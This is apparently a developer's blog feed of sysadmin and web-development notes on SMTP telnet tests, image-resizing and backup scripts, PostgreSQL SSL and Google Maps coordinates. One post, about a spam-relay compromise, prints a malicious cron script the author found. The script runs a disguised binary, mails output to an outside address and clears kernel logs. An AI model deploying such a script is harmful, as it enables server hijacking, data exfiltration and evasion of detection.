TheBrain.ca Developer Notes

SMTP troubleshooting with Telnet

noreply@blogger.com (TheBrain.ca) — Thu, 26 Jan 2012 03:42:00 +0000

telnet mail.contoso.com 25
HELO test.com //or EHLO
MAIL FROM:Admin@test.com //google mail servers are strict, use <admin@test.com>
RCPT TO: User@Domain.Com //or for strict servers: <User@Domain.Com>
Subject: test message  //note the blank line that follows - hit enter twice

DATA
This is a test line 1.
This is a test line 2.
.
QUIT

Typical output:

telnet alt2.gmail-smtp-in.l.google.com 25 
Trying 66.249.91.27... Connected to alt2.gmail-smtp-in.l.google.com (66.249.91.27). Escape character is '^]'. 220 mx.google.com ESMTP y37si31029380iky.4 
HELO outofcontrol.ca 
250 mx.google.com at your service 
MAIL FROM:<myemailaddress@outofcontrol.ca> 250 2.1.0 OK y37si31029380iky.4 
RCPT TO:<mygmailaddress@gmail.com> 250 2.1.5 OK y37si31029380iky.4 
DATA 
354  Go ahead y37si31029380iky.4 
This is a test. 
. 250 2.0.0 OK 1230083982 y37si31029380iky.4 
QUIT 
221 2.0.0 closing connection y37si31029380iky.4 
Connection closed by foreign host. 

Script for Image Resizing

noreply@blogger.com (TheBrain.ca) — Thu, 17 Nov 2011 19:46:00 +0000

OsCommerce doesn't do thumbnails or image processing. Here is a bash script using ImageMagick:

#!/bin/sh
f="$1";
#if file doesn't exist or is not a "regular file", exit
#we'll use the file timestamp to avoid duplicate processing later
s="$(stat -c '%Y %s %F' "$f" 2>/dev/null)";
if [[ -z "$s" ]]; then
        exit 1;
fi;
set $s;
if [[ "$3" != "regular" || "$4" != "file" ]]; then
        exit 1;
fi;
fmod="$1";
fsize="$2";

# if file previously processed exit
# previously processed means a backup exists that is no more than 60 seconds older than target
s="$(stat -c %Y "$f".~* 2>/dev/null)";
if [[ -n "$s" ]]; then
        set $s;
        #work with last output of stat command (i.e. assumes backups sorted by name = sorted by time)
        lastmod=${!#};
        if [[ "$fmod" -lt $(($lastmod + 60)) ]]; then
                exit 0;
        fi;
fi;

x="$(identify -format '%w %h %b %m' "$f")" || exit $?;
set $x;
if [[ "$4" != "JPG" && "$4" != "JPEG" ]]; then
        exit 0;
fi;
if [[ "$1" -gt 1024 || "$2" -gt 1024 || "$3" -gt 100000 ]]; then
        cp -f --backup=numbered "$f" "$f" || exit $?;
        convert "$f" -thumbnail '1024x1024>' -quality 75 "$f";
        echo "$f";
fi; 
exit 0;

This script attempts to prevent itself from re-processing the same image.

I call it from cron like so:

45 0 * * *  log="$HOME"/sp-image-resize.log; echo "*** $(date)" >> "$log"; find "$HOME"/oscommerce/catalog/images -type f -size +50k -not -name '*~?~' -mtime -1 -exec "$HOME"/sp-image-resize {} \; >> "$log" 2>&1

MySQL Backup

noreply@blogger.com (TheBrain.ca) — Thu, 10 Nov 2011 19:08:00 +0000

For creating a mysql database backup:

mysqldump -u someuser -h somehost -p --opt db_name | gzip > db.$(date +%Y-%m-%dT%H:%M:%S).sql.gz

--opt is a shortcut for various options.

cron, popwatch and spamd

noreply@blogger.com (TheBrain.ca) — Fri, 25 Jun 2010 19:59:00 +0000

Here is what I discovered following my bout with our server being used to deliver spam.

I noted the following from ps - Af
... root 24197 2845 0 1460 1504 0 00:03 ? 00:00:00 crond root 24198 24197 0 601 980 2 00:03 ? 00:00:00 /bin/bash /usr/bin/run-parts /etc/cron.daily exim 25568 24197 0 2892 2500 3 00:03 ? 00:00:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t root 25692 24198 0 537 648 0 00:03 ? 00:00:00 awk -v progname=/etc/cron.daily/popwatch progname {????? print progname ":\n"????? progname="";???? }???? { print; } root 25713 1 0 1880 6124 0 00:03 ? 00:00:03 spamd -w child ...
I found the file /etc/cron.daily/popwatch. I think this file was the culprit, placed there by means unknown (but I am guessing from an exploit of either exim or the portmapper). Anyhow the contents of popwatch:
#!/bin/bash TERM=linux x=`pwd` cd /usr/lib/ ./spamd -r child > test mail spamdrchild@gmail.com -s "$(hostname -f)" < test rm -rf test child killall -9 /usr/lib/spamd A=$PATH sleep 1 export PATH=/usr/lib/ spamd -w child & export PATH=$A dmesg -c dmesg -c cd $x

I could find no information about the file /usr/lib/spamd. I suppose it was also part of the (assumed) exploit. Its name is probably just a simple misdirection so it looks legitimate.

Troubleshooting mail queue on Postfix, Zimbra, Exim

noreply@blogger.com (TheBrain.ca) — Fri, 11 Jun 2010 19:30:00 +0000

Recently our Zimbra opensource mail server ground to a halt. As it did, the Godaddy smarthost reported we'd exceeded our 1000 daily smtp relay limit. This was an important clue: unfortunately that email was lost among hundreds of bounce messages, or perhaps stuck on the queue.

The reason was straightforward and common enough. We had been targeted for delivering thousands of spam messages.

The Zimbra admin web ui became rather useless. First, it is slow at the best of times, and with the server struggling for life, the web ui just didn't respond. Partially fixing things on the server using good old command line tools got zimbra responding. However, with 80000 messages on hold, the Zimbra admin web ui again could do nothing useful with them. Back to the command line.

Zimbra would be better off just having a fancy ajax shell console, perhaps with some nicely integrated instructions for the already existing command line tools, rather than their complex and ineffective ui, imho.

First thing that needed to be done was to stop Zimbra.

su - zimbra
zmcontrol stop

The zimbra documentation hinted that "zmcontrol stop mta" might just stop a particular service, but I found that not to be the case. Everything starts or stops.

With zimbra stopped, the server became nicely responsive and I proceeded (as root) to manage the postfix queued messages with the postfix tools.

cd /opt/zimbra/postfix/sbin
./postsuper -h ALL

This transferred all the messages out of "deferred", "incoming" and "active" into "hold" queue. I was then able to start zimbra and it worked for a bit. Unbeknown to me, we had a big queue of messages on our web server, and after zimbra started, thousands more messages arrived and choked zimbra, so it had to be stopped again. I had wanted to stop just the zimbra mta and keep the imap daemon running, so I could study the nature of these mails easily, but zimbra doesn't support that.

On our web server, which runs exim, from bradthemad.org/tech/notes/exim_cheatsheet.php, I did the following (as root).

exiqgrep -i > /tmp/x
for f in $(cat /tmp/x); do exim -Mrm $f; done;

This deleted everything that was queued. I updated apache, and exim, and php and disabled our forums - as it was not immediately obvious how the spam was being generated, only that it was starting out as root from the local machine, which was distressing. And, this server is actually a guest on a Xen host. It's a tangled web we weave.

Now I repeated using postsuper on the zimbra server (with zimbra stopped) to clear the queues. Restarted zimbra, and all was well. Except for the thousands of emails now held. These I could not so easily delete, as some legitimate emails were in there.

The zimbra admin web ui was ineffective for dealing with the thousands of held mails, so it was back to the postfix command line tools.

postqueue -p prints message ids (all of them) with a little bit of envelope info.
postcat -q prints the actual message

Ultimately I used the following.

./postqueue -p | awk '/root@server1.homerent.ca/ {print $1}' > /tmp/x
./postsuper -d - < /tmp/x

All was well thereafter.

ssl certificates for postgresql

noreply@blogger.com (TheBrain.ca) — Fri, 27 Nov 2009 16:24:00 +0000

We need to setup certificates on the server (linux) and the client (pgadmin3 on windows).

Three certificates are required in the "data" directory for the postgres server:
root.crt (trusted root certificate)
server.crt (server certificate)
server.key (private key)

Generate the private key (you must provide a passphrase).
Remove the passphrase.
Set permissions.

openssl genrsa -des3 -out server.key 1024
openssl rsa -in server.key -out server.key
chmod 400 server.key
chown postgres.postgres server.key

Create the server certificate (providing -subj is a shortcut to avoid prompting of info). The option -x509 produces a self signed certificate rather than a certificate request (a one step shortcut).

openssl req -new -key server.key -days 365 -out server.crt -x509 -subj '/C=CA/ST=British Columbia/L=Comox/O=TheBrain.ca/CN=thebrain.ca/emailAddress=info@thebrain.ca'

Since we are self-signing, we use the server certificate as the trusted root certificate.
cp server.crt root.crt

The server must be restarted.

On the pgadmin3 windows client, in the %appdata%/postgresql directory we need:
postgresql.key (private key)
postgresql.crt
root.crt

Copy the file root.crt from the linux server to the windows client machine.

Generate the private key postgresql.key on the linux server (using openssl), remove the passphrase and copy the resulting file to client machine.

openssl genrsa -des3 -out /tmp/postgresql.key 1024
openssl rsa -in /tmp/postgresql.key -out /tmp/postgresql.key

Generate postgresql.crt on the linux server and copy to client machine. It must be signed by our trusted root (which is using the server.key file). The certificate common name must be set to the database user name we'll connect as.

openssl req -new -key /tmp/postgresql.key -out /tmp/postgresql.csr -subj '/C=CA/ST=British Columbia/L=Comox/O=TheBrain.ca/CN=db-username'
openssl x509 -req -in /tmp/postgresql.csr -CA root.crt -CAkey server.key -out /tmp/postgresql.crt -CAcreateserial

Daily Newspaper Rental Classifies in Canada

noreply@blogger.com (TheBrain.ca) — Wed, 06 May 2009 16:41:00 +0000

TheBrain.ca Rental Classifieds is a free, minimalist approach to address the craziness of online home rental advertising. It is hard to fathom (for me) that companies that make so much money from publishing ads in print do such a horrible job at presenting the same data online.

In Canada there are two big media companies that publish most of the daily papers: Quebecor, who publish The Toronto Sun, The Ottawa Sun, The London Free Press, The Winnipeg Sun, etc., and Canwest who publish The Calgary Herald, The Edmonton Journal, The Vancouver Sun, The Victoria Times Columnist, etc.

Quebecor's Sun Media papers ultimately display their housing rental classifieds on www.classifiedextra.ca. The first thing I notice upon visiting the url and doing a test search is it takes forever. The second thing I notice is that I cannot find any apartments. Perhaps I am doing something wrong.

Canwest provides www.canada.com. Their home for rent ads are now online at www.househunting.ca. My first effort to test their website crashed my browser (Firefox). IE worked on the second try.

Both sites feature terribly slow, advertising burdened pages. It seems unfair that someone who has paid $50 to $100 to advertise has a multitude of other ads posted above, around, over top, and below it.

It seems mean to make someone searching specific information (e.g. accommodation), information that someone else has paid to provide, be purposefully forced to sift through other irrelevant (albeit also paid for) information.

Househunting.ca mapping is horrible. Google made a brilliantly simple, free method of providing maps for data (with Yahoo following suit). These publishers (and the MLS with for sale accommodation) make their mapping so awkward. Do they have some nefarious clever purpose? It has to be a lot of work to start with a simple map interface and make it so obscure.

Css EM versus EX unit

noreply@blogger.com (TheBrain.ca) — Sun, 01 Mar 2009 15:41:00 +0000

Refer to http://www.xs4all.nl/~sbpoley/webmatters/emex.html why EM works more consistently than EX.

I had thought to use the ex unit for specifying all widths. The idea came from form fields: if my input was something like a phone number, 10 digits plus 2 dashes would fit nicely in 12ex width (on average, depending upon the actual digits, since widths vary). Then, for consistency, I thought to specify all widths in ex.

Unfortunately IE and Mozilla render ex differently.

joeant.com and web directories

noreply@blogger.com (TheBrain.ca) — Thu, 15 Jan 2009 03:52:00 +0000

I just stumbled upon joeant.com which charges $40 for a listing in their directory. But, the have direct links (as opposed to redirects). Hmmm.... I need to review paid directory listings.

Server Unexpectedly Rebooting

noreply@blogger.com (TheBrain.ca) — Sat, 10 Jan 2009 23:47:00 +0000

Our server, rather suddenly, is unexpectedly rebooting. It started around Jan 7.

I should be clear that the server is remotely located, which makes things more challenging.

At night (Jan 6?) I was doing some big disk archiving/maintenance. Lots of bzip2.
I upgraded postgresql from 8.3.3 to 8.3.5 because of my earlier trials with COPY TO and COPY FROM some xml data which I thought might be a bug (wasn't). I solved that (described in earlier post).
Also that night, the network cable was unplugged, then plugged back in 30 minutes later.

The next day, I noted my ssh session had terminated in the night (and my screen session). Odd. Then it happend while I was working. The computer lost connectivity for about 3 minutes. Checking /var/log/messages showed no evidence of a shutdown, but of the normal boot up sequence.

My first thought was power interruption... but the tech staff say no, other machines on the same ups had no problems.
My second thought was that monkeying with the network cable jarred something loose. The staff promised me they double checked the cables seated properly.

Jan 9 the reboots started happening more frequently. So I need to install the openipmi to check hardware. lonesysadmin.net article provides some good instructions.
But, the challenge is getting the kernel re-compiled with the appropriate modules, for which there is very little instruction. Particularly risky is the fact that the server is remote. Fortunately I figured out how to use the GRUB setdefault --once command to reboot a new image (once).

But the machine has not rebooted for many hours. I'll wait until tonight...

postgresql copy from for xml columns

noreply@blogger.com (TheBrain.ca) — Tue, 06 Jan 2009 21:09:00 +0000

If you output (COPY TO FILE) a table that has two columns of datatype xml, and one column has data that is output as a document, and the other column is output as content, it is impossible to directly import the data using COPY FROM. All xml input must be in the same form (i.e. either all documents or all document fragments).

The solution I found was to create a temporary table with data type of text, COPY TO that and then convert the text to xml. Further, ALTER COLUMN x SET TYPE xml USING parsexml(DOCUMENT x) failed too, so I had to create a new column, update it, drop original column and then rename new column to original.

voip step one

noreply@blogger.com (TheBrain.ca) — Fri, 26 Dec 2008 01:12:00 +0000

I downloaded and installed asterisk (version 1.4.x) from www.asterisk.org. I avoided "asterisk now" and tribox.

I followed the instructions in the free download http://downloads.oreilly.com/books/9780596510480.pdf chapter 3 to get asterisk up and running, including "make sample". The only glitch was that I had to "make distclean" rather than just "make clean" because on first compile attempt I was still missing some dependencies (specifically ncurses-devel). "make clean" does not clean subdirectories, but "make distclean" does.

I followed VoIPowering your Office with Asterisk—Building a Test Lab, Part 2
and the downloaded pdf simultaneously. I downloaded and installed (on a windows machine) the xlite softphone, and I edited /etc/asterisk/sip.conf, enabling some commented out sections
[xlite1]
type=friend
host=dynamic
allow=gsm
allow=ulaw
allow=alaw
mailbox=1234@default,1233@default

I set the SIP Account Settings on the downloaded phone:
Display Name: xlite1
User name: xlite1
Domain: ip-address-of-asterisk-box

The echo test suggested by the article by dialing *43 did not work. I just got a message saying "the caller you have dialed is not available".

Google brought me to http://www.asteriskguru.com/tutorials/echo.html which made me realize that the echo test is provided by the asterisk server. Searching /etc/asterisk/extensions.conf for "echo" showed me the echo test was set to extension 600. Dialing 600 worked!

So far so good...

bash remove empty directories

noreply@blogger.com (TheBrain.ca) — Tue, 02 Dec 2008 23:14:00 +0000

for v in *; do [ $(ls -lA $v | wc -l) -eq 1 ] && rmdir $v; done;

Css Float Tips

noreply@blogger.com (TheBrain.ca) — Sun, 02 Nov 2008 16:06:00 +0000

http://warpspire.com/tipsresources/web-production/css-column-tricks/

Converting pixels to latlng

noreply@blogger.com (TheBrain.ca) — Sat, 01 Nov 2008 15:14:00 +0000

I thought to convert pixel coordinates (as generated for google maps, where latlng(0.0,0.0) at zoom 0 gives point(128,128) to latitude/longitude in pl/pgsql.
I found various formulas - all wrong, presumably because they did not account for offset - until I came across a javascript example:

The following code came from a news thread, which seemed to say the code came from http://econym.org.uk/gmap/:

function pixelToLatLng(a,b) {
var c = 256 * Math.pow(2,b);
var ex = c/2;
var ey = c/2;
var rd = c/360;
var sd = c/(2*Math.PI);

var f = (a.x-ex)/rd;
var g = -(a.y-ey)/sd;
var h = (2*Math.atan(Math.exp(g))-Math.PI/2);
var h = h/(Math.PI/180);
return new GLatLng(h,f);
}

From http://msdn.microsoft.com/en-us/library/aa940990.aspx we have:
At any latitude and zoom level, you can determine the scale by using the following equation:
Map resolution = 156543.04 meters/pixel * cos(latitude) / (2 ^ zoomlevel)

From http://msdn.microsoft.com/en-us/library/bb259689.aspx we have:

map width = map height = 256 * 2 level pixels

ground resolution = cos(latitude * pi/180) * earth circumference / map width

= (cos(latitude * pi/180) * 2 * pi * 6378137 meters) / (256 * 2 level pixels)

From http://msdn.microsoft.com/en-us/library/cc161076.aspx we have:

Longitude = ((PixelX * 360) / (256 * 2 ZoomLevel )) - 180

In the example, these become:

LongMin = ((67328 * 360) / (256 * 2 9 )) - 180 ~= 4.921875

LongMax = ((67583 * 360) / (256 * 2 9 )) - 180 ~= 5.622253

Before the latitude is calculated, here some intermediate calculations to help refactor the code.

denom = 256 * 2 ZoomLevel

efactor = e (0.5 - ((PixelY) / (denom) )* 4 * pi

The latitude is then calculated as the following.

Latitude = asin((efactor - 1) / (efactor + 1)) * (180 / pi)

The example becomes:

denom = 256 * 2 9 = 131072

efactor min = e (0.5 - ((43264) / (denom) )* 4 * pi ~= 8.459595

efactor max = e (0.5 - ((43519) / (denom) )* 4 * pi ~= 8.255283

Latitude min = asin((efactor - 1) / (efactor + 1)) * (180 / pi) ~= 52.052490

Latitude max = asin((efactor - 1) / (efactor + 1)) * (180 / pi) ~= 51.619721

YAHOO! Yui DataTable with Paginator

noreply@blogger.com (TheBrain.ca) — Wed, 29 Oct 2008 23:37:00 +0000

I thought to be efficient, I'd return json data rather than html formatted data (which could be displayed easily via innerHTML). Then to format the json data I thought I'd use Yui dataTable. Then, I figured I'd used the pagination interface it provides. Everything went well except getting the pagination to show totalRecords is just not working....

Oh my! The paginator does a if (lang.isNumber(totalRecords))...
In the json result object, totalRecords was a string.
In php doing $object->totalRecords = (int)$totalRecords did the trick.

The second problem overcome:
onMapMoveEnd I submit the coordinates to get the data within the new map view. On getting the data back, onDataReturnInitializeTable is called. But unexpectedly, onDataReturnInitializeTable does not reset the indicated page number. This was solved via using the following callback instead:
var f = function(sRequest,oResponse,oPayload){
var paginator = this.get('paginator');
this.onDataReturnInitializeTable(sRequest, oResponse, oPayload);
paginator.set('page',1);
paginator.setPage(1,true); //true suppresses firing the change event
}

On the client side

noreply@blogger.com (TheBrain.ca) — Mon, 27 Oct 2008 15:22:00 +0000

The dragzoom utility from Google maps works great.

But some issues:

The concept is really simple, and it only takes 10 seconds to master. But how to convey the concept the first time? Clicking on the map to switch it into zoom mode is great - it makes things happen, it populates the zoom box instructions.

However, I cannot capture a click event (at least in firefox) once the zoom overlay is present. I wanted to allow zoom/normal mode switching via clicking.
To cancel a zoom in progress, you just need to drag a really small area - but this instruction is hard to convey.
Might it be better to require a click to zoom in, rather than zoom in on drag end?
The back button is hidden when zoom is activated. Again, conveying the two state idea (zoom button activated versus not) and how to switch between the modes is critical.

On the database side

noreply@blogger.com (TheBrain.ca) — Sun, 26 Oct 2008 04:39:00 +0000

Fast indexing is essential. I've accomplished this by pre-generating xy coordinates for each zoom level from 0 through 19 from latitude,longitude. Now I am trying to decide if it is better to use a Gist index, treating xy as a point data type, or if I should just keep x and y as separate int8, and figure out bounding box rectangles manually.

I gave up on postgis, as I found there to be too much to learn about gis concepts. And really, since google maps converts everything into grids of fixed sizes, full blown gis is unnecessary.

For indexing datatype point, rom link I found this:

Given the standard opclasses, your best bet is to convert the point into
a zero-volume box or circle, eg

[Except to use box(pointcol,pointcol) to avoid "operator does not exist: circle && box"]
create index i on t using gist (circle(pointcol,0))

and then express queries as "circle(pointcol,0) overlaps target-box".

Doing away with icons and clustering

noreply@blogger.com (TheBrain.ca) — Sun, 26 Oct 2008 04:25:00 +0000

I spent lots of time trying to find a good clustering algorithm, without success. I suspect a good one would require learning lots of math or gis science.

An important reference turns out to be http://msdn.microsoft.com/en-us/library/bb259689.aspx which explains quadkeys and gives very concise code to generate them.

So, I embarked down the road to just drawing dots. Google maps allows one to retrieve an overlay for every image tile. I draw every data point onto a transparent png. This works well, and there is no need for clustering, as even a few thousand dots are fast to generate... but I need to actually test this out. Later I can optimize drawing of dots, or perhaps draw dots of differing sizes, shape, color etc.

You can't click on a dot, like you can an icon... but I think I may have found a better path. Google maps provides a dragzoom utility. Instead of clicking on a dot, you drag a box around an area of interest. This strikes me as being better than "clicking a dot" since for real estate you are really after information within an area, even a small area, rather than at a specific point.

Other rental sites

noreply@blogger.com (TheBrain.ca) — Sun, 26 Oct 2008 04:16:00 +0000

http://www.housingmaps.com/ displays lots of data, but it is not rental specific. The summary data isn't great. But it is only a mashup of craigslist, which is generalized. I don't think generalized classifieds will ever work as well as specialized classifieds.

http://www.flyrig.com/ featuring New York apartment rentals was about the best site I encountered integrating google maps. I found them when reviewing google map applications somehow. The way they link the text list of records to icons on the map is good. If you cursor over an icon, it highlites the text, and if you cursor over the text, it highlites the icon (and pans the map, if necessary).

Integration of google maps

noreply@blogger.com (TheBrain.ca) — Sun, 26 Oct 2008 03:58:00 +0000

This details my experiences with building www.homerent.ca, which mostly advertises rental properties in Calgary and Edmonton.

To display rental properties on a google map, here are some issues.

1. Too much data to display as icons. E.g. for Calgary, we often have over a thousand listings. Drawing a 1000 GIcons does not work well (too slow). Clustering the icons client side sort of works. I tried it with the acme clusterer.js. But it is a little slow.

2. Another problem is since we conveniently use postal codes for geo-encoding, you often end up with many properties in the exact same location. I didn't like having some GIcons representing a single property versus some representing lots of properties. And all the rental sites I reviewed displayed overlapping icons, which favored the top one, and made clicking on underlying ones a pain.